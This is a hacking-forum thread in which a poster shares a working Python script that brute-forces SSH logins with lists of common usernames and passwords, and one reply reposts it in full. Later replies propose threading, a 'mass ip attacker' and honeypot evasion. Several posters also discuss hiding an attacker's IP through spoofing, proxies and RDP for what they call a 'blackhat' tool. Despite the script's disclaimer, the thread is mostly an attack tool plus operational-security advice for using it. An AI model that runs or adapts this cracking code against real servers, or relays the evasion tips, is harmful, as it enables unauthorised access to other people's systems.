

Forum:[Hack Forums](#)

Thread: [SSH BruteForce Python Script](#)

Dalls30 - March 13, 2024, 2:43 pm

Hey ! I've made a quick ssh brute force script. It's really not a big script but it help for beginner to understand quickly how bruteforcing work.

I think i'm gonna maybe add multithreading so if you want update feel free to ask or go to my github (<https://github.com/Stunkz>).

Here's my code :

Code import paramiko

```
# This program is a simple brute force attack on a SSH server.
# It will try to connect to the server using a list of users and passwords.
# It's a simple program and it's not very efficient, but it's a good example of how a brute force attack works.
# Don't use this program to attack any server, it's illegal and unethical. This program is for educational purposes only.
#
# Made by Stunkz on Github ( https://github.com/Stunkz )
#

# MODIFY THESE VARIABLES TO MATCH TO YOUR NEEDS.
```

```
HOST = '127.0.0.1' # The IP address of the server you want to attack
```

```
USERS_LIST = ['root', 'admin', 'user', 'test', 'cia'] # The list of users you want to try. Can be a link to a file. ( e.g. 'users.txt')
```

```
PASSWORDS_LIST = ['test', 'password', '123456', 'top_secret_chhh...'] # Same. Can be a link to a file. ( e.g. 'passwords.txt')
```

```
CONTINUE_ON_SUCCESS = False # If True, the program will continue to try to connect to the server even if it found the right user/password combination.
```

```
SAVE_FAIL = True # If True, the program will save the results in a file.
```

```
SAVE_FAIL_FILE = 'log.txt' # The name of the file where the program will save the failed attempts. it can be a path. ( e.g. 'logs/log.txt')
```

```
SAVE_SUCCESS = False # If True, the program will save the successful attempts in a file.
```

```
SAVE_SUCCESS_FILE = 'success.txt' # Same. ( e.g. 'logs/success.txt')
```

```
def try_connect(user, password):
```

```
    client = paramiko.SSHClient()
```

```
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

```
    try:
```

```
        client.connect(hostname=HOST, username=user, password=password)
```

```
        return True
```

```
    except:
```

```

return False

def main():

    for user in USERS_LIST:
        for password in PASSWORDS_LIST:

            print(f'Trying user: {user} with password: {password}')

            if try_connect(user, password):

                print(f'User: {user} Password: {password} worked')

                if SAVE_SUCCESS:
                    with open(SAVE_SUCCESS_FILE, 'a') as f:
                        f.write(f'User: {user} Password: {password}\n')

                if CONTINUE_ON_SUCCESS:
                    continue
                return

            if SAVE_FAIL:
                with open(SAVE_FAIL_FILE, 'a') as f:
                    f.write(f'User: {user} Password: {password} Failed\n')

if __name__ == '__main__':
    if type(USERS_LIST) == str:
        with open(USERS_LIST, 'r') as f:
            USERS_LIST = f.read().splitlines()
    if type(PASSWORDS_LIST) == str:
        with open(PASSWORDS_LIST, 'r') as f:
            PASSWORDS_LIST = f.read().splitlines()
    main()

```

Feel free to give me feedbacks.

Do not use this program on ssh server that aren't your own. The law is strict about that. Make sure to double check the HOST setting.

The law does not differentiate between involuntary attacks and intentional attacks.

Be safe.

Peace out ?

vngamekit - March 16, 2024, 3:11 pm

Looks ok but would def recommend adding threading and cli arguments, Maybe even a mass ip attacker?

KanedaKing - March 19, 2024, 9:52 pm

Looks pretty interesting, I think I'll check it out, thanks

1NF4MOUS - March 27, 2024, 10:21 pm

hello i would like your help in something u can get paid for it [deleted] [warn]

This will fail because of rate-limiting. David Bombal's script accounts for this.

[Video: <https://youtu.be/BSugciSUlek>]

decrypt187 - April 2, 2024, 11:47 pm

(Mar 13, 2024 02:43 PM)Dalls30 Wrote: [\[CITE\]](#) Hey ! I've made a quick ssh brute force script. It's really not a big script but it help for beginner to understand quickly how bruteforcing work. I think i'm gonna maybe add multithreading so if you want update feel free to ask or go to my github (<https://github.com/Stunkz>).

Here's my code :

Code import paramiko

```
# This program is a simple brute force attack on a SSH server.
# It will try to connect to the server using a list of users and passwords.
# It's a simple program and it's not very efficient, but it's a good example of how a brute force attack works.
# Don't use this program to attack any server, it's illegal and unethical. This program is for educational purposes only.
#
# Made by Stunkz on Github ( https://github.com/Stunkz )
#

# MODIFY THESE VARIABLES TO MATCH TO YOUR NEEDS.
```

```
HOST = '127.0.0.1' # The IP address of the server you want to attack
```

```
USERS_LIST = ['root', 'admin', 'user', 'test', 'cia'] # The list of users you want to try. Can be a link to a file. ( e.g. 'users.txt')
```

```
PASSWORDS_LIST = ['test', 'password', '123456', 'top_secret_chhh...'] # Same. Can be a link to a file. ( e.g. 'passwords.txt')
```

```
CONTINUE_ON_SUCCESS = False # If True, the program will continue to try to connect to the server even if it found the right user/password combination.
```

```
SAVE_FAIL = True # If True, the program will save the results in a file.
```

```
SAVE_FAIL_FILE = 'log.txt' # The name of the file where the program will save the failed attempts. it can be a path. ( e.g. 'logs/log.txt')
```

```
SAVE_SUCCESS = False # If True, the program will save the successful attempts in a file.
```

```
SAVE_SUCCESS_FILE = 'success.txt' # Same. ( e.g. 'logs/success.txt')
```

```
def try_connect(user, password):
```

```
    client = paramiko.SSHClient()
```

```
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

```
    try:
```

```
        client.connect(hostname=HOST, username=user, password=password)
```

```
        return True
```

```
    except:
```

```
        return False
```

```
def main():
```

```
    for user in USERS_LIST:
```

```
        for password in PASSWORDS_LIST:
```

```
            print(f'Trying user: {user} with password: {password}')

```

```
            if try_connect(user, password):
```

```
                print(f'User: {user} Password: {password} worked')

```

```
            if SAVE_SUCCESS:
```

```
                with open(SAVE_SUCCESS_FILE, 'a') as f:
```

```
                    f.write(f'User: {user} Password: {password}\n')

```

```
            if CONTINUE_ON_SUCCESS:
```

```
                continue
```

```
            return

```

```
    if SAVE_FAIL:
```

```
        with open(SAVE_FAIL_FILE, 'a') as f:
```

```
            f.write(f'User: {user} Password: {password} Failed\n')

```

```
if __name__ == '__main__':
```

```
    if type(USERS_LIST) == str:
```

```
        with open(USERS_LIST, 'r') as f:
```

```
            USERS_LIST = f.read().splitlines()

```

```
    if type(PASSWORDS_LIST) == str:
```

```
        with open(PASSWORDS_LIST, 'r') as f:
```

```
            PASSWORDS_LIST = f.read().splitlines()

```

```
    main()
```

Feel free to give me feedbacks.

Do not use this program on ssh server that aren't your own. The law is strict about that. Make sure to double check the HOST setting.

The law does not differentiate between involuntary attacks and intentional attacks.

Be safe.

Peace out ?

thanks for sharing might check it out

makvanpor - April 3, 2024, 8:21 am

Thanks for share is there any new updated one and instructions to follow

Dalls30 - April 7, 2024, 4:34 am

(Mar 27, 2024 10:21 PM)1NF4MOUS Wrote: [\[CITE\]](#) hello i would like your help in something u can get paid for it [deleted] [warn]

Hey thanks but i don't accept payment you can just ask me and i will see what i can do to help you.

(Mar 28, 2024 06:12 AM)DramaKing Wrote: [\[CITE\]](#) This will fail because of rate-limiting. David Bombal's script accounts for this.

[Video: <https://youtu.be/BSugciSUlek>]

Thank you for helping me and telling me what is wrong with my script. Well for sure i know that my script is far from efficient but you know i just wanted to make a simple python script.

yyy0 - April 11, 2024, 2:54 pm

nice i will try to compile it with python3.

Mitko - April 14, 2024, 8:19 am

nice, thanks for the code

barbel - November 5, 2025, 11:19 pm

It's an attractive script, but I suggest we build one in go together, which avoids honeypots and etc. I think we can succeed.

zeealive - November 22, 2025, 9:55 am

This is just a playground tool. It is good that you said it too. This tool can't do real damage, but is great for beginners who are learning what example SSH server even means.

dmitribovv - December 13, 2025, 8:16 am

(Mar 28, 2024 06:12 AM)DramaKing Wrote: [\[CITE\]](#) This will fail because of rate-limiting. David Bombal's script accounts for this.

[Video: <https://youtu.be/BSugciSUlek>]

he would have avoided rate-limiting if he used a better architecture. also, when it comes to blackhat bruteforcing tool then making sure the client IP doesn't leak becomes paramount.

RayanParkTsoy - December 13, 2025, 8:56 am

(Dec 13, 2025 09:16 AM)dmitribovv Wrote: [\[CITE\]](#) he would have avoided rate-limiting if he used a better architecture. also, when it comes to blackhat bruteforcing tool then making sure the client IP doesn't leak becomes paramount.

What is the scope of Python in terms of cybersecurity? I mean, is it possible to use this tool to somehow hide your identity online as much as possible?

dmitribovv - December 13, 2025, 9:04 am

(Dec 13, 2025 09:56 AM)RayanParkTsoy Wrote: [\[CITE\]](#) What is the scope of Python in terms of cybersecurity? I mean, is it possible to use this tool to somehow hide your identity online as much as possible?

no it's not, but the tool itself can be built to hide the IP where the attack is originating from. but that's if it was a blackhat tool because naturally alot of libraries out there don't shield hackers

RayanParkTsoy - December 13, 2025, 9:11 am

(Dec 13, 2025 10:04 AM)dmitribovv Wrote: [\[CITE\]](#) no it's not, but the tool itself can be built to hide the IP where the attack is originating from. but that's if it was a blackhat tool because naturally alot of libraries out there don't shield hackers

Basically, if I want to use libraries that protect me and only me from disappearing from the network, I should create them myself with that tool. ??????

DramaKing - December 13, 2025, 9:16 am

(Dec 13, 2025 10:04 AM)dmitribovv Wrote: [\[CITE\]](#) no it's not, but the tool itself can be built to hide the IP where the attack is originating from. but that's if it was a blackhat tool because naturally alot of libraries out there don't shield hackers

True, but I assume that's IP address spoofing, which is useless. OpSec shouldn't rely on a cracking tool. You want to tunnel or proxy the connection through other means.

(Dec 13, 2025 10:11 AM)RayanParkTsoy Wrote: [\[CITE\]](#) Basically, if I want to use libraries that protect me and only me from disappearing from the network, I should create them myself with that tool. ??????

I'd respond if creating new libraries for a tool to ensure anonymity made any sense.

dmitriablovv - December 13, 2025, 9:35 am

(Dec 13, 2025 10:16 AM)DramaKing Wrote: [\[CITE\]](#) True, but I assume that's IP address spoofing, which is useless. OpSec shouldn't rely on a cracking tool. You want to tunnel or proxy the connection through other means.

what made you say IP address spoofing is useless? definitely implementing proxy is good but the client IP can also leak while the tool is connecting to the proxy or tunnel

(Dec 13, 2025 10:11 AM)RayanParkTsoy Wrote: [\[CITE\]](#) Basically, if I want to use libraries that protect me and only me from disappearing from the network, I should create them myself with that tool. ??????

Lol, you're not actually disappearing. I'd say appearing like you're someone else or even 127.0.0.1 but DramaKing is of the opinion that IP spoofing is useless. So yeah you have to create them yourself.

DramaKing - December 13, 2025, 10:09 am

(Dec 13, 2025 10:35 AM)dmitriablovv Wrote: [\[CITE\]](#) what made you say IP address spoofing is useless? definitely implementing proxy is good but the client IP can also leak while the tool is connecting to the proxy or tunnel

It's 100% pointless here, and I will not back down from breaking IP, TCP, routing, and everything. There are exactly two uses of IP address spoofing, DDoS and IDLE scanning. IP address spoofing also breaks NAT, so I won't even wish OP good luck with this.

(Dec 13, 2025 10:35 AM)dmitriablovv Wrote: [\[CITE\]](#) Lol, you're not actually disappearing. I'd say appearing like you're someone else or even 127.0.0.1 but DramaKing is of the opinion that IP spoofing is useless. So yeah you have to create them yourself.

Localhost is local to the host. One can connect to it to tunnel to a server somewhere else, but it's important to note that no other device will see an external 127.0.0.1 address.

dmitriablovv - December 13, 2025, 10:37 am

(Dec 13, 2025 11:09 AM)DramaKing Wrote: [\[CITE\]](#) It's 100% pointless here, and I will not back down from breaking IP, TCP, routing, and everything. There are exactly two uses of IP address spoofing, DDoS and IDLE scanning. IP address spoofing also breaks NAT, so I won't even wish OP good luck with this.

oh yeah you're right, i guess the client IP gets leaked at the point of handshake even before spoofing occurs. one question tho, what if the tool implements proxy? i know the proxy provider gets to see the client IP, but those the SSH connection use the proxy IP as the client IP for the connection? or proxy occurs after the SSH handshake?

DramaKing - December 13, 2025, 11:14 am

(Dec 13, 2025 11:37 AM)dmitriablovv Wrote: [\[CITE\]](#) oh yeah you're right, i guess the client IP gets leaked at the point of handshake even before spoofing occurs. one question tho, what if the tool implements proxy? i know the proxy provider gets to see the client IP, but those the SSH connection use the proxy IP as the client IP for the connection? or proxy occurs after the SSH handshake?

Okay, so if you implement source address spoofing, e.g. hping3, the handshake will never complete. The server or listener will ACK to the spoofed IP address, and you will get no response. A proxy tool, like proxychains or shadowsocks, will forward all packets from another application or the system through the proxy server. The proxy strips the Layer 4 information (or Layer 7 if it's an HTTP

proxy) and replaces it with its own headers. To any other endpoints, it looks like the packets come from the proxy. Establishing an SSH connection, then proxying it to a different IP address would break the connection.

dmitribovv - *December 13, 2025, 11:20 am*

That means implement proxy and using the tool only in RDP is the only way out. True?

SIM-5723405 - *December 14, 2025, 2:44 am*

This is pretty cool, Ngl.

Booga991 - *January 5, 2026, 3:26 pm*

does it bypass the authentication timeout?

MadScientist - *January 5, 2026, 4:12 pm*

This is cool but not practical, better off using Hydra or something incorporating threads and proxylists.

amstronglindsay - *January 7, 2026, 7:52 pm*

it's working?